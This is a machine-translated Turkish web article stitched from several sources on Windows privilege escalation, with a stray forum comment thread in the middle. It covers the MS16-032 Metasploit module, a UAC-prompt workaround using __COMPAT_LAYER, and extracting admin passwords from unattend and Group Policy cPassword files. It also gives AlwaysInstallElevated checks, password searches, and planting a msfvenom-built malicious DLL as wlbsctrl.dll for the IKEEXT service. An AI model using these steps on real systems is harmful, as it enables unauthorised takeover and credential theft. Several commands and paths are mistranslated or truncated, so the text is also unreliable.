Erişim haklarının artırılması gerekiyor. Windows'ta kullanıcı ayrıcalıklarını yükseltme

Bugün Windows ayrıcalık yükseltmesinden bahsedeceğiz. Bir saldırganın ayrıcalıkları nasıl artırabileceğini ve kendinizi bundan nasıl koruyacağınızı öğreneceksiniz.

Tüm bilgiler yalnızca bilgilendirme amaçlıdır. Uygunsuz kullanımından ne sitenin editörleri ne de makalenin yazarı sorumlu değildir.

BeRoot ile ayrıcalıkları artırın

Ayrıcalıkları yükseltme yöntemlerinin çoğu, yüklü yazılımın yapılandırmasındaki hatalarla ilişkilidir; hizmetin yürütülebilir dosyasının yolu, tırnak işaretleri ile çevrelenmemiş ve boşluk içermemesi (bu durum Windows tarafından oldukça ilginç bir şekilde ele alınmaktadır) veya yanlış bir şekilde uygulamayla dizinin haklarını ayarlayın.

İnsan tembel bir yaratıktır ve tüm bunları her seferinde manuel olarak kontrol etmek istemez. Bu nedenle, er ya da geç bu rutini otomatikleştirecek bir aracın ortaya çıkması gerekiyordu.

İkincil Oturum Açma Kolu

Bir başka ilginç numara da İkincil Giriş hizmetini kullanmayı içerir. Bu hizmet, geçerli kullanıcı yalnızca Kullanıcılar veya Uzman Kullanıcılar grubuna ait olsa bile programları, Microsoft Yönetim konsollarını ve kontrol paneli öğelerini yönetici olarak çalıştırmanıza olanak tanır. Mesele şu ki, bu hizmet yeni süreçler oluştururken tanıtıcıları temizlemez.

Bizim için önemli olan, Vista'dan Windows 2012 Server'a kadar neredeyse tüm Windows sürümlerinin (x32 ve x64) bu güvenlik açığından etkilenmesidir. Ancak sınırlamalar da vardır: ayrıcalıkları başarılı bir şekilde yükseltmek için sistemde PowerShell 2.0 veya daha yüksek bir sürümünün yanı sıra iki veya daha fazla CPU çekirdeğinin kurulu olması gerekir. Metasploit Framework'ün özel bir istismar/windows/local/ms16_032_secondary_logon_handle_privesc modülü vardır.

Kullanımı, zaten parametrelerde belirtmemiz gereken bir ölçüm cihazı oturumumuz olduğu anlamına gelir: OTURUM 1'i ayarlayın. Başarılı bir kullanım durumunda, yükseltilmiş ayrıcalıklara sahip başka bir oturumumuz olacak.

\ pentestlab > wmic qfe listesi | "3139914"ü bul

Çözüm

Ayrıcalıkları artırmak için olası tüm seçenekleri tek bir makaleye sığdırmaya ne kadar çalışsam da, bunun işe yaraması pek mümkün değil veya makale devasa boyutlara ulaşacak ve ilginizi çekmeyecek. Bu yüzden bir gün demenin zamanı geldi. Koruma konusunu ayrı bir yazımızda konuşacağız.

Çoğu program başlangıçta hakların yükseltilmesini gerektirir (simgenin yanında bir kalkan simgesi), ancak aslında normal çalışmaları için yönetici haklarına ihtiyaç duymazlar (örneğin, ProgramFiles'daki program dizini için kullanıcılara gerekli hakları manuel olarak verdiniz ve program tarafından kullanılan kayıt defteri dalları). Buna göre böyle bir programı basit bir kullanıcı olarak çalıştırırken, bilgisayarda Kullanıcı Hesabı Denetimi etkinleştirilmişse, bir UAC istemi görünecek ve kullanıcının yönetici şifresini girmesi istenecektir. Bu mekanizmayı atlamak için çoğu kişi UAC'yi devre dışı bırakır veya kullanıcıyı yerel yöneticiler grubuna ekleyerek bilgisayardaki yönetici haklarını verir. Doğal olarak bu yöntemlerin her ikisi de güvensizdir.

Normal bir uygulamanın neden yönetici haklarına ihtiyacı olabilir?

Program, C:\Program Files (x86)\SomeApp dizinindeki kendi klasöründeki belirli dosyaları (günlükler, yapılandırmalar vb.) değiştirmek için yönetici haklarına ihtiyaç duyabilir. Varsayılan olarak kullanıcıların bu dizini düzenleme hakları yoktur; bu nedenle böyle bir programın normal çalışması için yönetici hakları gereklidir. Bu sorunu çözmek için, kullanıcıya (veya Kullanıcılar grubuna) program klasörüne NTFS düzeyinde yönetici olarak değişiklik/yazma haklarını manuel olarak atamanız gerekir.

Not. Aslında değişen uygulama verilerinin C:\Program Files altında kendi dizininde saklanması uygulaması yanlıştır. Uygulama verilerini kullanıcı profilinde saklamak daha doğrudur. Ancak bu, geliştiricilerin tembelliği ve beceriksizliği meselesidir.

Standart bir kullanıcıdan yönetici hakları gerektiren bir programın çalıştırılması

RunAsInvoker parametresini nasıl kullanabileceğinizi daha önce anlatmıştık. Ancak bu yöntem yeterince esnek değildir. Ayrıca yönetici şifresini /SAVECRED (aynı zamanda güvenli değildir) kaydederek de kullanabilirsiniz. UAC etkinken (4.3 veya seviye 2) herhangi bir programı yönetici hakları olmadan (ve yönetici şifresini girmeden) başlatmaya zorlamanın daha basit bir yolunu düşünelim.

Örneğin, kayıt defteri düzenleme yardımcı programını ele alalım - regedit.exe(C:\windows\system32 dizininde bulunur). Regedit.exe'yi çalıştırdığınızda bir UAC penceresi görünür ve ayrıcalık yükseltmesini onaylamadığınız sürece Kayıt Defteri Düzenleyicisi başlamaz.

Masaüstünde bir dosya oluşturalım admin-olmayan-olarak çalıştır.bat aşağıdaki metinle:

cmd /min /C "set __COMPAT_LAYER=RUNASINVOKER && start "" %1"

Artık uygulamayı yönetici hakları olmadan çalışmaya zorlamak ve UAC istemini bastırmak için istediğiniz exe dosyasını masaüstündeki bu yarasa dosyasına sürüklemeniz yeterlidir.

Bundan sonra Kayıt Defteri Düzenleyicisi, UAC istemi görünmeden başlamalıdır. Süreç yöneticisini açın ve bir sütun ekleyin Yükseltilmiş(Daha yüksek bir izin seviyesi ile), sistemin yükseltilmiş olmayan bir duruma sahip (kullanıcı haklarıyla çalışan) bir regedit.exe işlemine sahip olduğunu göreceksiniz.

HKLM şubesindeki herhangi bir parametreyi düzenlemeyi deneyin. Gördüğünüz gibi bu daldaki kayıt defterini düzenleme erişimi reddedildi (bu kullanıcının sistem kayıt defteri dallarına yazma hakkı yoktur). Ancak anahtarları kullanıcının kendi kayıt defteri şubesine (HKCU) ekleyebilir ve düzenleyebilirsiniz.

Aynı şekilde, belirli bir uygulamayı bir yarasa dosyası aracılığıyla başlatabilirsiniz, yalnızca yürütülebilir dosyanın yolunu belirtmeniz yeterlidir.

uygulamayı yönetici olmayan olarak çalıştır.bat

ApplicationPath'i Ayarla = "C:\Program Files\MyApp\testapp.exe"
cmd /min /C "set __COMPAT_LAYER=RUNASINVOKER && start "" %ApplicationPath%"

Ayrıca, tüm uygulamaların yükseltilmeden başlatılmasını sağlayan bir içerik menüsü de ekleyebilirsiniz. Bunu yapmak için aşağıdaki reg dosyasını oluşturun ve kayıt defterine aktarın.

Windows Kayıt Defteri Düzenleyicisi Sürüm 5.00


@="cmd /min /C \"set __COMPAT_LAYER=RUNASINVOKER && start \"\" \"%1\"\""

Bundan sonra, herhangi bir uygulamayı yönetici hakları olmadan başlatmak için içerik menüsündeki “” öğesini seçmeniz yeterlidir.

__COMPAT_LAYER ortam değişkeni ve RunAsInvoker parametresi

__COMPAT_LAYER ortam değişkeni, uygulamalar için farklı uyumluluk düzeyleri ayarlamanıza olanak tanır (sekme Uyumluluk exe dosyasının özelliklerinde). Bu değişkeni kullanarak programın çalışması gereken uyumluluk ayarlarını belirleyebilirsiniz. Örneğin, uygulamayı Windows 7 uyumluluk modunda ve 640x480 çözünürlükte çalıştırmak için şunu ayarlayın:

__COMPAT_LAYER=Win7RTM 640x480'i ayarla

__COMPAT_LAYER değişkeninin ilgimizi çeken seçenekleri arasında aşağıdaki parametreleri vurguluyoruz:

  • RunAsInvoker- UAC isteği olmadan ana sürecin ayrıcalıklarına sahip bir uygulamanın başlatılması.
  • En Yüksek Olarak Çalıştır- uygulamanın kullanıcıya sunulan maksimum haklarla başlatılması (kullanıcının yönetici haklarına sahip olması durumunda UAC isteği görünür).
  • RunAsAdmin- uygulamayı yönetici haklarıyla başlatın (AUC istemi her zaman görünür).

Onlar. RunAsInvoker parametresi yönetici hakları sağlamaz, yalnızca UAC penceresinin görünümünü engeller.

Hmm, biri ile diğeri arasındaki fark yalnızca uyumluluk parametrelerinin nasıl ayarlandığıyla ilgilidir, ilk durumda - manuel olarak, ikincisinde - aynı şey, yalnızca sihirbaz aracılığıyla. Ama yine de ayrıntılı cevap için teşekkürler))

Teşekkürler biliyorum))))))))))))))))))

Tamam, ben bir yöneticiyim (belki biraz okuma yazma bilmiyorum, ama umarım yetişirim...) Bu uygulamayı (ve sadece bunu) çalıştırmama nasıl izin verilebilir? Aynı zamanda bu uygulamayı başlatması gerektiğinde sürekli olarak makinesine koşmamak (bilmemesi gereken yerel yönetici şifresini girmek için).

“İşletim Sistemleri” konulu dersin bir kısmını bana hatırlattığınız için size çok minnettarım. Size artık klasikleşmiş başka bir örnek vereyim:

Bazen bir kullanıcının oturum açma şifresini değiştirmesi gerekir. Kullanıcının kendisi şifre veritabanına erişim hakkına sahip değildir. Ancak şifreyi değiştirmek için kullandığı program yükseltilmiş haklarla çalışıyor. Bu da sonunda şifresini değiştirmesine olanak tanıyor.

Yani benim durumum da benzer. Bir programın yükseltilmiş haklarla çalışması gerektiğini sisteme nasıl "anlatırım"? Bu durumda, "kullanıcı"/"uzman kullanıcı" grubundan bir kullanıcı tarafından başlatılacaktır.

Bu aslında programı farklı bir kullanıcı olarak "zamanlanmış görev" olarak çalıştırarak yapılabilir. Her şey yoluna girecek - hatta başlıyor, ancak grafik arayüz (program pencereleri) kullanıcının masaüstünde görüntülenmiyor...

Kavramsal çelişki??? Yukarıda bir örnek verdim - görev herhangi bir işletim sistemi için oldukça standarttır. Bunu üçüncü taraf araçlarla (Windows Vista'ya dahil değildir) çözmek istemiyorum. UAC'yi zaten devre dışı bıraktım - her durumda, uygulama yalnızca yönetici haklarıyla doğru şekilde çalışıyor, bu şekilde - özel... Güvenlik nedeniyle bu kullanıcıyı yerel "Yöneticiler" grubuna dahil etmek mümkün görünmüyor .

Komut dosyasıyla ilgili olarak - için olarak çalıştırmakşifreyi hatırlamanıza izin veren bir bayrak var, ancak bu durumda kullanıcı çalıştırabilecektir. herhangi Yönetici haklarına sahip program.

Bu, kaynak kodunu kimsenin görmediği, tedarikçisi hakkında hiçbir şey bilinmeyen ve web sitesi "halkın elinde" olan bir yazılımı başlatmak istemediğim anlamına geliyor. Peki ya kullanıcılar - eh, bu yeterli olsaydı bu tartışma forumda yer almazdı..... =(

Her şeyin o kadar da kötü olmadığına inanmak isterim.

Genel olarak ayrıcalıkları artırma hedefimize ulaşmamıza yardımcı olacak yolları burada bulabilirsiniz.

Bu kısa makalenin başlangıç ​​noktası ayrıcalıksız kabuktur (hesap). Bir istismar kullanmış veya bir saldırı gerçekleştirip bu kabuğu elde etmiş olabiliriz.

Temel olarak, zamanın ilk noktasında makineyi anlamıyoruz: Ne yaptığını, neye bağlı olduğunu, hangi ayrıcalık düzeyine sahip olduğumuzu ve hatta hangi işletim sistemine sahip olduğunu.

Öncelikle nerede olduğumuzu ve neye sahip olduğumuzu anlamak için ihtiyaç duyduğumuz bilgileri almamız gerekiyor:

Sistem bilgisi | findstr /B /C:"İşletim Sistemi Adı" /C:"İşletim Sistemi Sürümü"
Bu komut, görülebileceği gibi işletim sisteminin adını ve sürümünü belirlemenizi sağlar. Parametreler olmadan çalıştırabilirsiniz, o zaman komut çıktısı daha eksiksiz olacaktır ama bu bizim için yeterli.

  • ana bilgisayar adı - kullanıcı adı.
  • echo %username% - kullanıcı adı.
Daha sonra bu hostta hala hangi kullanıcıların bulunduğunu görelim ve kullanıcınız hakkında daha detaylı bilgi alalım.
  • net kullanıcıları - diğer kullanıcılar
  • net user user1 - kullanıcı hakkında ayrıntılı bilgi; burada user1 kullanıcı adınızdır.
Hesap hakkında bilgi aldıktan sonra, bu ana bilgisayarın ağ etkileşimi hakkındaki bilgilere bakacağız.

Öncelikle mevcut arayüzlere ve yönlendirme tablosuna bakalım.

  • ipconfig /all - mevcut arayüzler hakkında bilgi.
  • rota yazdırma - yönlendirme tablosu
  • arp -A - arp girişlerinin tablosu
Şimdi aktif ağ bağlantılarına ve güvenlik duvarı kurallarına bakalım.
  • netstat -ano - aktif ağ bağlantıları.
-a - bu parametreyle çalışmak, tüm aktif TCP bağlantılarının yanı sıra sistemi dinleyen TCP ve UDP bağlantı noktalarını da görüntüler;
-n - parametre, etkin TCP bağlantılarını adresler ve bağlantı noktası numaralarıyla göstermenize olanak tanır;
-o - tıpkı önceki anahtar gibi, etkin TCP bağlantılarını görüntüler, ancak istatistiklere, bağlantıyı tam olarak hangi uygulamanın kullandığını zaten belirleyebileceğiniz işlem kodları eklenmiştir.
  • netsh güvenlik duvarı durumu göster - güvenlik duvarı durumu
  • netsh güvenlik duvarı gösterisi yapılandırması - güvenlik duvarı yapılandırması
Son olarak, ele geçirilen ana bilgisayarda nelerin çalıştığına hızlıca göz atacağız: zamanlanmış görevler, çalışan işlemler, çalışan hizmetler ve yüklü sürücüler.

Schtasks /sorgu /fo LIST /v
Nerede
/query - Tüm zamanlanmış görevlerle ilgili bilgileri görüntüler,
/fo LIST - Bir listeye çıktı verir.
/v - Görevle ilgili ayrıntılı bilgileri görüntüler.

Aşağıdaki komut, çalışan işlemleri çalışan hizmetlerle ilişkilendirir.

Görev listesi/SVC
Nerede,
/SVC - Her işlem için hizmetleri görüntüleyin.

Ayrıca çalışan Windows hizmetlerinin listesine de bakacağız.

Net başlangıç
Güvenliği ihlal edilen sistemin sürücüleri hakkındaki bilgilere bakmak da faydalıdır.

SÜRÜCÜSORGU
Şimdi muhtemelen en kullanışlı Windows komutundan bahsetmek istiyorum - wmic. WMIC (Windows Yönetim Araçları Komutu) komutu, donanım ve sistem bilgilerini elde etmek, işlemleri ve bileşenlerini yönetmek ve Windows Yönetim Araçları'nın (WMI) yeteneklerini kullanarak ayarları değiştirmek için kullanılır. İyi açıklama.

Ne yazık ki, bazı varsayılan Windows yapılandırmaları, kullanıcı Yöneticiler grubunun bir üyesi olmadığı sürece (bu gerçekten iyi bir fikirdir) WMIC'ye erişime izin vermez. XP'nin hiçbir sürümü ayrıcalıklı olmayan bir hesaptan WMIC'ye erişime izin vermiyordu.

Buna karşılık, Windows 7 Professional ve Windows 8 Enterprise, düşük ayrıcalıklı kullanıcıların varsayılan olarak WMIC kullanmasına izin veriyordu.

Her zamanki gibi - program parametreleri:

Daha ileri gitmeden önce topladığınız bilgilerin üzerinden geçmenizde fayda var. Ayrıca sistemde yüklü olan yamalara da dikkat etmekte fayda var çünkü sistemdeki deliklerle ilgili her türlü bilgi, ayrıcalıklarımızı artırmak için bize ek destek sağlayacaktır. Ayrıcalık yükseltme güvenlik açıklarını aramak için Düzeltme numarasını kullanabilirsiniz.

Daha sonra otomatik kuruluma bakacağız. Büyük bir makine filosunun kurulması ve yapılandırılması gerekiyorsa, kural olarak teknik personel, her birini ayrı ayrı yapılandırmak için makineden makineye geçmeyecektir. Otomatik kurulum için çeşitli çözümler vardır. Bu yöntemlerin ne olduğu ve nasıl çalıştığı bizim için çok önemli değil ancak önemli olan, kurulum işlemi için kullanılan, işletim sistemi ürün anahtarı ve yönetici şifresi gibi birçok gizli bilgiyi içeren yapılandırma dosyalarını bırakmalarıdır. . En çok ilgilendiğimiz şey ayrıcalıklarımızı artırmak için kullanabileceğimiz yönetici şifresidir.

Genellikle bunlar aşağıdaki dizinlerdir:

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattending.xml
  • %WINDIR%\Panther\Unattished.xml
Ancak tüm sistemi kontrol etmeye değer.

Bu dosyalar açık metin veya BASE64 kodlamasında şifreler içerir.
Örnekler:

Sysprep.inf - şifresiz metin halinde şifre.

Sysprep.xml - base64 ile kodlanmış parola.

"

Unattending.xml - base64 ile kodlanmış şifre.

Ayrıca etki alanına bağlı ana bilgisayarlar için, AES256 şifreli parola içeren ancak şifresi çözülebilen Group.xml dosyasını arayabilirsiniz. anahtar msdn'de (https://msdn.microsoft.com/en-us/library/cc422924.aspx) ve diğer kaynaklarda yayınlanmıştır. Ancak ana bilgisayarlarda yerel kullanıcılar oluşturma veya örneğin yerel Yönetici için bir parola belirleme politikasının kullanılması durumunda durum böyledir.

Örneğin, burada var:

Açtıktan sonra “cpassword” parametresini arayın.

Daha sonra bu diziyi deşifre etmeniz gerekir. Örneğin CrypTool kullanıyoruz. İlk önce Base64'ün kodunu çözelim.
Base64'ün özelliği uzunluğunun 4'ün katı olması gerektiğidir. Bu nedenle 4'lü blokları sayıyoruz ve son blokta yeterli karakter yoksa eksik karakterleri “=” karakterleriyle ekliyoruz.
2 "=" aldım.

Karakterleri ayıran fazla noktaları kaldırıyoruz ve şifreyi alıyoruz.

Group.xml'e ek olarak, ek "cPassword" özniteliklerine sahip olabilecek birkaç başka politika tercihi dosyası da burada bulunmaktadır:

  • Hizmetler\Hizmetler.xml
  • ZamanlanmışGörevler\ZamanlanmışGörevler.xml
  • Yazıcılar\Yazıcılar.xml
  • Sürücüler\Sürücüler.xml
  • DataSources\DataSources.xml
Ancak bitiş çizgisine mümkün olduğunca çabuk ulaşabilmek için hepimiz otomatik çözümleri seviyoruz. Sahip olduğumuz kabuk/erişim türüne bağlı olarak burada iki ana seçenek vardır. Kurulu bir oturum (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) aracılığıyla çalıştırılabilecek bir metasploit modülü vardır veya PowerSploit'in bir parçası olan Get-GPPPassword'ü kullanabilirsiniz. .

Bunu kullanabilmek için her iki kayıt defteri anahtarının da ayarlandığını kontrol etmeliyiz ve eğer öyleyse SİSTEM kabuğunu alabiliriz. Hadi kontrol edelim:

Reg sorgusu HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg sorgusu HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
Metasploit, içine gömülü özel bir yürütülebilir dosya içeren ve sistem ayrıcalıklarına sahip yükleyici tarafından çıkarılan ve yürütülen bir MSI dosyası oluşturan özel bir istismar/windows/local/always_install_elevated modülü içerir. Yürütüldükten sonra msi dosyası, eylemin sisteme kaydedilmesini önlemek için kurulumu durdurur. Ayrıca kurulumu /quiet anahtarıyla çalıştırırsanız hata görmezsiniz bile.

Sistemde arama yapmak için bazı yararlı komutlar:

Aşağıdaki komut, belirli anahtar sözcükleri içeren dosya adlarını dosya sisteminde arayacaktır. İstediğiniz sayıda anahtar kelime belirleyebilirsiniz.

Dizin /s *pass* == *cred* == *vnc* == *.config*
Belirli dosya türlerini anahtar kelimeye göre arayan bu komut, çok fazla çıktı üretebilir.

Findstr /si şifresi *.xml *.ini *.txt
Benzer şekilde, aşağıdaki iki komut, bu durumda "şifre" gibi anahtar kelimeler için kayıt defterini grep etmek için kullanılabilir.

Kayıt sorgusu HKLM /f şifre /t REG_SZ /s
reg sorgusu HKCU /f şifre /t REG_SZ /s
Bu noktada zaten bir sistem kabuğu almaya yetecek kadarımız var. Ancak istenen sonucu elde etmek için birkaç saldırı daha var: Windows hizmetlerine ve dosya ve klasör izinlerine bakacağız. Buradaki amacımız zayıf izinleri kullanarak oturum ayrıcalıklarını yükseltmektir.

Birçok erişim hakkını kontrol edeceğiz, Microsoft Sysinternals Suite'in bir aracı olan Accesschk.exe bu konuda bize yardımcı olacaktır. Microsoft Sysinternals birçok harika araç içerir. Paket, Microsoft technet web sitesinden (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite) indirilebilir.

Accesschk'yi kullanarak her hizmet için gerekli ayrıcalık düzeyini kontrol edebiliriz.

Her kullanıcı seviyesinin sahip olduğu izinleri görebiliriz.

Accesschk, belirli bir kullanıcı düzeyine sahip bir Windows hizmetine yazma erişimimiz olup olmadığını otomatik olarak kontrol edebilir. Genellikle düşük ayrıcalıklı bir kullanıcı olarak "Kullanıcılar"ı kontrol etmek isteriz. Hangi kullanıcı gruplarına ait olduğunuzu kontrol ettiğinizden emin olun.

C Ad, ssdpsrv gibi bir Windows hizmetidir (tüm hizmetleri görüntülemek için “*” belirtin)
-d Yalnızca işlem dizinleri
-e Yalnızca açıkça belirtilen bütünlük düzeylerinin çıktısını alın (yalnızca Windows Vista)
-k Ad bir kayıt defteri anahtarıdır, örneğin hklm\software
-n Yalnızca erişim kuralları olmayan nesneleri görüntüle
-p Ad, cmd.exe gibi ad veya işlem tanımlayıcıdır (PID) (tüm işlemleri listelemek için adı “*” olarak belirtin)
-q Başlığı çıkar
-r Yalnızca okuma erişimi olan nesneleri görüntüle
-s Özyinelemeli işleme
-v Ayrıntılı bilgileri yazdır
-w Yalnızca yazma erişimi olan nesneleri listele

Ayrıca ilginç bir komut daha var:

Autorunsc.exe -a | findstr /n /R "Dosya\ bulunamadı\ bulunamadı"
Otomatik olarak başlayan ancak artık sistemde olmayan bir dosya hakkında kayıt defteri girdisi bulmanızı sağlar. Örneğin hizmetin yanlışlıkla silinmesi durumunda giriş kalabilir. Sistem her başlatıldığında bu dosyayı çalıştırmayı dener ve başarısız olur. Bu durum aynı zamanda güçlerinizi genişletmek için de kullanılabilir. Bu dosyanın yerine bizim dosyamızı koyabilirsiniz.

İlk olarak: Parvez'in GreyHatHacker'dan yazdığı bir gönderinin sonuçlarını kopyalıyoruz; “Zayıf klasör izinlerinden yararlanarak ayrıcalıkların yükseltilmesi” (http://www.greyhathacker.net/?p=738).

Bu örnek, dll hırsızlığının özel bir durumudur. Programlar genellikle kendi başlarına çalışamazlar, bağlanmaları gereken çok sayıda kaynağa sahiptirler (çoğunlukla dll'ler, aynı zamanda kendi dosyaları). Bir program veya hizmet, yazma erişimimizin olduğu bir dizinden bir dosya yüklerse, bunu kötüye kullanarak programın çalıştığı ayrıcalıklara sahip bir kabuk başlatabiliriz.

Genellikle bir Windows uygulaması, dll'yi bulmak için önceden tanımlanmış arama yollarını kullanır ve bu yolları belirli bir sırayla kontrol eder. Dll ele geçirme genellikle kötü amaçlı dll'lerin bu yollardan birine yerleştirilmesiyle gerçekleşir. Bu sorun, uygulamaya gerekli dll'ye giden mutlak yollar sağlanarak çözülebilir.

DLL arama sırası:

  1. Uygulamanın başlatıldığı dizin
  2. 32 bit Sistem dizini (C:\Windows\System32)
  3. 16 bit Sistem dizini (C:\Windows\System)
  4. Windows dizini (C:\Windows)
  5. Geçerli çalışma dizini (CWD)
  6. PATH ortam değişkenindeki dizinler (sistem sonra kullanıcı)
Bazen uygulamalar makinede olmayan dll dosyalarını yüklemeye çalışır. Bu, örneğin dll'nin yalnızca yüklü olmayan belirli eklentiler veya bileşenler için gerekli olması gibi çeşitli nedenlerle ortaya çıkabilir. Bu durumda Parvez, bazı Windows hizmetlerinin varsayılan kurulumlarda bulunmayan dll'leri yüklemeye çalıştığını keşfetti.

Dll mevcut olmadığından, tüm arama yollarından geçiyoruz. Düşük ayrıcalıklara sahip bir kullanıcı olarak, 1-4, 5. maddelere kötü amaçlı bir dll yerleştirme şansımız çok azdır. Ancak dizinlerden herhangi birine yazma erişimimiz varsa, o zaman kazanma şansımız yüksektir.

Bunun pratikte nasıl çalıştığını görelim, örneğimiz için wlbsctrl.dll dosyasını yüklemeye çalışan IKEEXT (IPSec IKE ve AuthIP Anahtar Modülleri) hizmetini kullanacağız.

"C:\" içindeki herhangi bir dizin, kimliği doğrulanmış kullanıcılara yazma erişimi verecektir, bu bize bir şans verir.

C:\Kullanıcılar\kullanıcı1\Masaüstü> erişimchk.exe -dqv "C:\Python27"
C:\Python27 Orta Zorunlu Düzey (Varsayılan) RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE L RW NT AUTHORITY\Authenticated Kullanıcılar FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA SİL SENKRONİZE READ_CONTROL
C:\Kullanıcılar\kullanıcı1\Masaüstü> icacls "C:\Python27"
C:\Python27 BUILTIN\Yöneticiler:(ID)F BUILTIN\Yöneticiler:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)( IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Kimliği Doğrulanmış Kullanıcılar:(ID)C NT AUTHORITY\Kimliği Doğrulanmış Kullanıcılar:(OI)(CI)(IO)(ID)C
F - tam erişim.
(OI) - nesnelere göre miras.
(CI) - konteynerlerden miras.
(IO) - yalnızca miras.
(NP) - mirasın yayılması yasağı.
(I) - izinlerin ana kapsayıcıdan devralınması.

Devam etmeden önce IKEEXT hizmetinin durumunu kontrol etmeniz gerekir. Bu durumda “AUTO_START” olarak ayarlandığını görebiliriz!

Sc qc IKEEXT
QueryServiceConfig BAŞARI SERVİSİ_ADI: IKEEXT TÜRÜ: 20 WIN32_SHARE_PROCESS START_TYPE: 2 AUTO_START ERROR_CONTROL: 1 NORMAL BINARY_PATH_NAME: C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP: TAG: 0 DISPLAY_NAME: IKE ve AuthIP IPsec Anahtarlama Modülleri BAĞIMLILIKLAR: BFE SERVICE_START_NAME: Yerel Sistem
Artık gerekli koşullara sahip olduğumuzu biliyoruz ve kötü amaçlı bir dll oluşturup kabuğu ele geçirebiliriz!

Örneğin Metasploit -> msfvenom kullanıyoruz.

Evil.dll dosyasını hedef bilgisayarımıza aktardıktan sonra tek yapmamız gereken, onu wlbsctrl.dll olarak adlandırıp “C:\Python27” dizinine taşımak. Bu yapıldıktan sonra, makinenin yeniden başlatılmasını sabırla beklememiz gerekir (veya yeniden başlatmayı zorlamayı deneyebiliriz) ve sistem kabuğunu alırız.

Evil.dll dosyasını kopyalayın C:\Python27\wlbsctrl.dll
Bundan sonra geriye kalan tek şey sistemin yeniden başlatılmasını beklemek.

Son örneğimiz için zamanlanmış görevlere bakacağız. Prensibi anlatacağım çünkü Herkesin vakası farklı olabilir.

Görev zamanlayıcının başlattığı süreci, hizmeti, uygulamayı SİSTEM'den buluyoruz.
Hedefimizin bulunduğu klasöre erişim haklarını kontrol ediyoruz.

Accesschk.exe -dqv "hedefe_giden yol"
Açıkçası bu ciddi bir yapılandırma sorunudur, ancak daha da kötüsü, kimliği doğrulanmış herhangi bir Kullanıcının (kimliği doğrulanmış kullanıcı) bu klasöre yazma erişimine sahip olmasıdır. Bu örnekte, metasploit'te oluşturulan dosyayı çalıştırılabilir ikili dosyanın üzerine yazabiliriz.

Ek olarak kodlanabilir.

Artık geriye kalan tek şey, kötü amaçlı yürütülebilir dosyayı indirmek ve yürütülebilir dosya klasöründe bunun üzerine yazmaktır. Bu yapıldıktan sonra kolayca yatağa gidebilir ve sabah erkenden sistemik rahatlama sağlayabiliriz.

Bu iki örnek bize dosya ve klasör izinlerini değerlendirirken aramamız gereken güvenlik açıkları hakkında bir fikir vermelidir. Windows hizmetlerine, zamanlanmış görevlere ve başlangıç ​​görevlerine ilişkin tüm binpath'ları öğrenmek zaman alacaktır.

Son olarak, Accesschk.exe'nin kullanımına ilişkin birkaç ipucu.

Diskteki klasörler için tüm zayıf izinleri bulun.

Accesschk.exe -uwdqs Kullanıcılar c:\ erişimchk.exe -uwdqs "Kimliği Doğrulanmış Kullanıcılar" c:\
Diskteki dosyalar için tüm zayıf izinleri bulun.

Accesschk.exe -uwqs Kullanıcılar c:\*.* erişimchk.exe -uwqs "Kimliği Doğrulanmış Kullanıcılar" c:\*.*
Görünüşe göre bu kadar.

Fok
Konunun devamı:
Photoshop

Konuyla bağlantılı olarak form faktörleri ve standart ölçüler konusuna kısaca değinildi. Bugün PC kasalarının türlerine daha yakından bakalım. Türleri, boyutları...